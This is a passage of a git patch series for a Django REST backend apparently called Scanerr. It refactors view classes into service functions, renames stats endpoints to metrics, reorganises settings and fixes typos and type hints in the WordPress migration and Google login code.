+    site = None
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='site', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get site if checks passsed
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+
+    # get screenshot 
+    if configs['driver'] == 'puppeteer':
+        data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
+    elif configs['driver'] == 'selenium':
+        data = I().screenshot(site=site, url=url, configs=configs)
+
+    
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+def migrate_site(request: object) -> object:
+    """
+    Initiate a `Site` migration task in background
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    login_url = request.data.get('login_url', None)
+    admin_url = request.data.get('admin_url', None)
+    plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator')
+    username = request.data.get('username', None)
+    password = request.data.get('password', None)
+    site_id = request.data.get('site_id', None)
+    email_address = request.data.get('email_address', None)
+    destination_url = request.data.get('destination_url', None)
+    sftp_address = request.data.get('sftp_address', None) 
+    dbname = request.data.get('dbname', None)
+    sftp_username = request.data.get('sftp_username', None)
+    sftp_password = request.data.get('sftp_password', None)
+    wait_time = request.data.get('wait_time', 30)
+    driver = request.data.get('driver', 'puppeteer')
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='site', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if checks passed
+    site = Site.objects.get(id=site_id)
+
+    # create new Process
+    process = Process.objects.create(
+        site=site,
+        type='migration'
+    )
+
+    # start migrtation task in background
+    migrate_site_bg.delay(
+        login_url, 
+        admin_url, 
+        username, 
+        password, 
+        email_address, 
+        destination_url, 
+        sftp_address, 
+        dbname, 
+        sftp_username, 
+        sftp_password, 
+        plugin_name, 
+        wait_time, 
+        process.id, 
+        driver
+    )
+    
+    # serialize and return
+    serializer_context = {'request': request,}
+    data = ProcessSerializer(process, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0439a607..85c28f43 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -33,8 +33,6 @@
     path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
-    path('home-stats', views.HomeStats.as_view(), name='home-stats'),
-    path('site-stats', views.SiteStats.as_view(), name='site-stats'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
@@ -45,9 +43,10 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
+    path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
+    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
-    path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), 
     path('beta/report/export', views.ExportReport.as_view(), name='export-report'), 
-    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index e411308c..26eaeb45 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -17,6 +17,14 @@
 
 
 
+
+
+
+### ------ Begin Site Views ------ ###
+
+
+
+
 class Sites(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -29,7 +37,8 @@ def post(self, request):
     def get(self, request):
         response = get_sites(request)
         return response
-    
+
+
 
 
 class SiteDetail(APIView):
@@ -37,18 +46,8 @@ class SiteDetail(APIView):
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        site = get_object_or_404(Site, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        if site.account != account:
-            data = {'reason': 'you cannot retrieve a Site you do not own',}
-            record_api_call(request, data, '401')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        serializer_context = {'request': request,}
-        serialized = SiteSerializer(site, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK) 
+        response = get_site(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_site(request, id)
@@ -56,6 +55,7 @@ def delete(self, request, id):
 
 
 
+
 class SiteDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -66,6 +66,7 @@ def post(self, request):
 
 
 
+
 class SiteCrawl(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -75,6 +76,8 @@ def post(self, request, id):
         return response
 
 
+
+
 class SitesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -86,6 +89,11 @@ def post(self, request):
 
 
 
+### ------ Begin Page Views ------ ###
+
+
+
+
 class Pages(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -101,23 +109,14 @@ def get(self, request):
     
 
 
+
 class PageDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        page = get_object_or_404(Page, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        if page.account != account:
-            data = {'reason': 'you cannot retrieve a Page you do not own',}
-            record_api_call(request, data, '401')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        serializer_context = {'request': request,}
-        serialized = PageSerializer(page, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK) 
+        response = get_page(request, id)
+        return response 
 
     def delete(self, request, id):
         response = delete_page(request, id)
@@ -125,6 +124,7 @@ def delete(self, request, id):
 
 
 
+
 class PageDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -135,6 +135,7 @@ def post(self, request):
 
 
 
+
 class PagesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -146,6 +147,11 @@ def post(self, request):
 
 
 
+### ------ Begin Scan Views ------ ###
+
+
+
+
 class Scans(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
@@ -160,25 +166,15 @@ def get(self, request):
         return response
 
 
+
+
 class ScanDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
-        scan = get_object_or_404(Scan, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if scan.site.account != account:
-            data = {'reason': 'you cannot retrieve Scans of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ScanSerializer(scan, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_scan(request, id)
+        return response
 
 
     def delete(self, request, id):
@@ -186,6 +182,8 @@ def delete(self, request, id):
         return response
 
 
+
+
 class ScanLean(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', ]
@@ -195,6 +193,8 @@ def get(self, request, id):
         return response
 
 
+
+
 class ScanDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -205,6 +205,7 @@ def post(self, request):
 
 
 
+
 class ScansCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -215,6 +216,7 @@ def post(self, request):
 
 
 
+
 class ScansDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -226,6 +228,10 @@ def post(self, request):
 
 
 
+### ------ Begin Test Views ------ ###
+
+
+
 
 class Tests(APIView):
     permission_classes = (IsAuthenticated,)
@@ -241,31 +247,23 @@ def get(self, request):
         return response
 
 
+
+
 class TestDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
-        test = get_object_or_404(Test, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if test.site.account != account:
-            data = {'reason': 'you cannot retrieve Tests of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = TestSerializer(test, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_test(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_test(request, id)
         return response
 
 
+
+
 class TestLean(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
@@ -275,6 +273,8 @@ def get(self, request, id):
         return response
 
 
+
+
 class TestDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -284,6 +284,8 @@ def post(self, request):
         return response
 
 
+
+
 class TestsCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -293,6 +295,8 @@ def post(self, request):
         return response
 
 
+
+
 class TestsDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -303,6 +307,8 @@ def post(self, request):
 
 
 
+### ------ Begin Schedule Views ------ ###
+
 
 
 
@@ -319,25 +325,15 @@ def get(self, request):
         return response
 
 
+
+
 class ScheduleDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        schedule = get_object_or_404(Schedule, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if schedule.site.account != account:
-            data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ScheduleSerializer(schedule, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_schedule(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_schedule(request, id)        
@@ -346,6 +342,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Automation Views ------ ###
+
+
+
 
 class Automations(APIView):
     permission_classes = (IsAuthenticated,)
@@ -361,25 +361,15 @@ def get(self, request):
         return response
 
 
+
+
 class AutomationDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        automation = get_object_or_404(Automation, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if automation.account != account:
-            data = {'reason': 'you cannot retrieve Automations you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = AutomationSerializer(automation, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_automation(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_automation(request, id)        
@@ -388,6 +378,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Report Views ------ ###
+
+
+
 
 class Reports(APIView):
     permission_classes = (IsAuthenticated,)
@@ -403,25 +397,14 @@ def get(self, request):
 
 
 
+
 class ReportDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        report = get_object_or_404(Report, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if report.account != account:
-            data = {'reason': 'you cannot retrieve Reports you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ReportSerializer(report, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_report(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_report(request, id)        
@@ -441,6 +424,10 @@ def post(self, request):
 
 
 
+### ------ Begin Case Views ------ ###
+
+
+
 class Cases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -455,6 +442,7 @@ def get(self, request):
 
 
 
+
 class CasesSearch(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
@@ -465,25 +453,14 @@ def get(self, request):
 
 
 
+
 class CaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        case = get_object_or_404(Case, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if case.account != account:
-            data = {'reason': 'you cannot retrieve Cases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(case, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_case(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_case(request, id)        
@@ -502,6 +479,7 @@ def post(self, request):
 
 
 
+
 class CopyCases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post']
@@ -512,6 +490,12 @@ def post(self, request):
 
 
 
+
+### ------ Begin Testcase Views ------ ###
+
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -526,6 +510,7 @@ def get(self, request):
 
 
 
+
 class TestcaseDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -536,25 +521,14 @@ def post(self, request):
 
 
 
+
 class TestcaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        testcase = get_object_or_404(Testcase, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if testcase.account != account:
-            data = {'reason': 'you cannot retrieve Testcases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = TestcaseSerializer(testcase, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_testcase(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_testcase(request, id)        
@@ -563,6 +537,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Log Views ------ ###
+
+
+
 
 class Logs(APIView):
     permission_classes = (IsAuthenticated,)
@@ -574,44 +552,51 @@ def get(self, request):
         return response 
 
 
+
+
 class LogDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
-        log = get_object_or_404(Log, pk=id)
-        if log.user != request.user:
-            data = {'reason': 'you cannot retrieve Logs you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = LogSerializer(log, context=serializer_context)
-        data = serialized.data
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_log(request, id)
+        return response
 
 
 
-class HomeStats(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['get',]
 
+### ------ Begin Process Views ------ ###
+
+
+
+
+class Processes(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+    
     def get(self, request):
-        response = get_home_stats(request)
+        response = get_processes(request)
         return response
 
 
 
-class SiteStats(APIView):
+
+class ProcessDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request):
-        response = get_site_stats(request)
+    def get(self, request, id):
+        response = get_process(request, id)
         return response
 
 
 
+
+### ------ Begin Search Views ------ ###
+
+
+
+
 class Search(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
@@ -623,52 +608,62 @@ def get(self, request):
 
 
 
-class Processes(APIView):
+
+### ------ Begin Metrics Views ------ ###
+
+
+
+
+class HomeMetrics(APIView):
     permission_classes = (IsAuthenticated,)
-    http_method_names = ['get']
-    
+    http_method_names = ['get',]
+
     def get(self, request):
-        response = get_processes(request)
+        response = get_home_metrics(request)
         return response
 
 
-class ProcessDetail(APIView):
+
+
+class SiteMetrics(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request, id):
-        if not Process.objects.filter(id=id).exists():
-            data = {'reason': 'process with that id does not exist',}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        proc = Process.objects.get(id=id)
-        serializer_context = {'request': request,}
-        serialized = ProcessSerializer(proc, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+    def get(self, request):
+        response = get_site_metrics(request)
+        return response
 
 
 
-class WordPressMigrateSite(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
+
+class CeleryMetrics(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
     
-    def post(self, request):
-        response = migrate_site(request, delay=False)
+    def get(self, request):
+        response = get_celery_metrics(request)
         return response
 
 
-class WordPressMigrateSiteDelay(APIView):
+
+
+### ------ Begin Beta Views ------ ###
+
+
+
+
+class WordPressMigrateSite(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
-        response = migrate_site(request, delay=True)
+        response = migrate_site(request)
         return response
 
 
+
+
 class SiteScreenshot(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -679,12 +674,4 @@ def post(self, request):
 
 
 
-class CeleryMetrics(APIView):
-    authentication_classes = []
-    permission_classes = (AllowAny,)
-    http_method_names = ['get',]
-    
-    def get(self, request):
-        response = get_celery_metrics(request)
-        return response
 
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index 08e5ae7e..c0dd8155 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -4,13 +4,23 @@
 import scanerr, os
 
 
+
+
+
+
+# setting DJANGO_SETTINGS_MODULE to scanerr.settings
 os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
 
+# init celery
 app = Celery('scanerr')
+
+# configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
-app.autodiscover_tasks()
 
+# setting tasks to auto-discover
+app.autodiscover_tasks()
 
+# setting debug
 @app.task(bind=False)
 def debug_task(self):
     print('Request: {0!r}'.format(self.request))
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 47617db7..e18ceec5 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -23,21 +23,23 @@
 # SECURITY WARNING: don't run with debug turned on in production!
 DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
-ALLOWED_HOSTS = ['*']
+# Network settings
+CORS_ORIGIN_ALLOW_ALL = True
+DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
+SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
+ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')]
+
+# URLs
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
-LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
-GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
-CORS_ORIGIN_ALLOW_ALL = True
-DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 
-SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
+# Scanerr.landing API KEY
+LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 
 # Application definition
-
 INSTALLED_APPS = [
     'django.contrib.admin',
     'django.contrib.auth',
@@ -53,7 +55,6 @@
     'markdownify.apps.MarkdownifyConfig',
     'storages',
 ]
-
 MIDDLEWARE = [
     'django.middleware.security.SecurityMiddleware',
     'whitenoise.middleware.WhiteNoiseMiddleware',
@@ -65,9 +66,7 @@
     'django.middleware.clickjacking.XFrameOptionsMiddleware',
     'corsheaders.middleware.CorsMiddleware',
 ]
-
 ROOT_URLCONF = 'scanerr.urls'
-
 TEMPLATES = [
     {
         'BACKEND': 'django.template.backends.django.DjangoTemplates',
@@ -83,7 +82,6 @@
         },
     },
 ]
-
 WSGI_APPLICATION = 'scanerr.wsgi.application'
 
 
@@ -101,7 +99,6 @@
 }
 
 
-
 # Password validation
 # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
 AUTH_PASSWORD_VALIDATORS = [
@@ -132,7 +129,6 @@
     'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
     'PAGE_SIZE': 10,
 }
-
 SIMPLE_JWT = {
     'ACCESS_TOKEN_LIFETIME': timedelta(hours=24),
     'REFRESH_TOKEN_LIFETIME': timedelta(hours=36),
@@ -141,15 +137,10 @@
 
 # Internationalization
 # https://docs.djangoproject.com/en/3.2/topics/i18n/
-
 LANGUAGE_CODE = 'en-us'
-
 TIME_ZONE = 'UTC'
-
 USE_I18N = True
-
 USE_L10N = True
-
 USE_TZ = True
 
 
@@ -158,25 +149,16 @@
 STATIC_URL = '/static/'
 STATIC_ROOT = os.path.join(BASE_DIR, "static")
 
-# needed for deployments without nginx
-STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
 
-### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ###
-# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
-# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
-# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN')
-# STATIC_ROOT = 'static'
-# MEDIA_ROOT = 'media'
-# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/"
-# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/"
-# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH')
-# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN')
+# Static file service without nginx
+STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
 
 
 # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3'
 AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
 AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
 
+
 # Configure which endpoint to send files to, and retrieve files from.
 AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME')
 AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME')
@@ -192,9 +174,11 @@
     'CacheControl': 'max-age=86400',
 }
 
+
 # Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
+
 # RabbitMQ and Celery Config
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
@@ -204,7 +188,7 @@
 DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
 
 
-# email 
+# Email 
 EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
 EMAIL_HOST = os.environ.get('EMAIL_HOST')
 EMAIL_PORT = os.environ.get('EMAIL_PORT')
@@ -220,12 +204,16 @@
 AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE')
 
 
-# google oAuth2
+# Google oAuth2
 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID')
 GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET')
 
 
-# stripe keys
+# Google API key
+GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
+
+
+# Stripe keys
 if os.environ.get('STRIPE_ENV') == 'prod':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE')
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE')
@@ -234,7 +222,7 @@
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
 
 
-# global configs object 
+# Global configs 
 CONFIGS = {
     'window_size': '1920,1080',
     'driver': 'selenium',
@@ -246,4 +234,8 @@
     'timeout': 300,
     'disable_animations': False,
     'auto_height': True
-}
\ No newline at end of file
+}
+
+
+
+
diff --git a/app/scanerr/urls.py b/app/scanerr/urls.py
index 50d33dcf..4574aef0 100644
--- a/app/scanerr/urls.py
+++ b/app/scanerr/urls.py
@@ -3,6 +3,9 @@
 
 
 
+
+
+
 urlpatterns = [
     path('admin/', admin.site.urls),
     path('', include('api.urls')),

From fce8dcc07b4e852b5403b59af8932ddd7c6cdf56 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:19:21 -0600
Subject: [PATCH 555/752] fixed typo

---
 setup/scripts/local-entrypoint.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 8a565799..edcc45b4 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -13,7 +13,7 @@ then
   python3 manage.py runserver 0.0.0.0:8000
 fi
 
-# spin up acelerypp in local env
+# spin up celery in local env
 if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 

From b5e7e9f34533f763f2e7fe34496692954dd9c4d1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:35:45 -0600
Subject: [PATCH 556/752] fixed type issues

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9c11f3bb..5ed5d051 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -866,7 +866,7 @@ def create_page(request: object, delay: bool=False) -> object:
 
 
 
-def create_many_pages(request: object, obj_response: bool=False) -> object | dict:
+def create_many_pages(request: object, obj_response: bool=False) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 

From 56d094de233c50c136e2998ce51b501a024f74ca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:49:23 -0600
Subject: [PATCH 557/752] fixed more typing issues

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5ed5d051..46023680 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1206,7 +1206,7 @@ def delete_many_pages(request: object) -> object:
 
 
 
-def create_scan(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     """ 
     Create one or more `Scans` depanding on 
     `Page` or `Site` scope
@@ -1692,7 +1692,7 @@ def delete_many_scans(request: object) -> object:
 
 
 
-def create_test(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     """ 
     Create one or more `Tests` depanding on 
     `Page` or `Site` scope

From 8fb68c1fc9d96573d61debaf7c2b7aac3ce144ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:51:24 -0600
Subject: [PATCH 558/752] fixed f string error

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index e118ead7..5b0d0697 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -444,7 +444,7 @@ def google_login(request: object) -> str:
         return error_url
 
     # build redirect url
-    redirect_uri = f'{settings.API_URL_ROOT}{'/v1/auth/google'}'
+    redirect_uri = f'{settings.API_URL_ROOT}/v1/auth/google'
     
     # get access token
     access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)

From 4b4d77bfbec1abeee9aec9f748553b29dc050a4c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:15:42 -0600
Subject: [PATCH 559/752] fixed request data retrevial

---
 app/api/v1/auth/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5b0d0697..ec31ecc0 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -431,8 +431,8 @@ def google_login(request: object) -> str:
     """
         
     # get request data
-    code = request.params.get('code')
-    error = request.params.get('error')
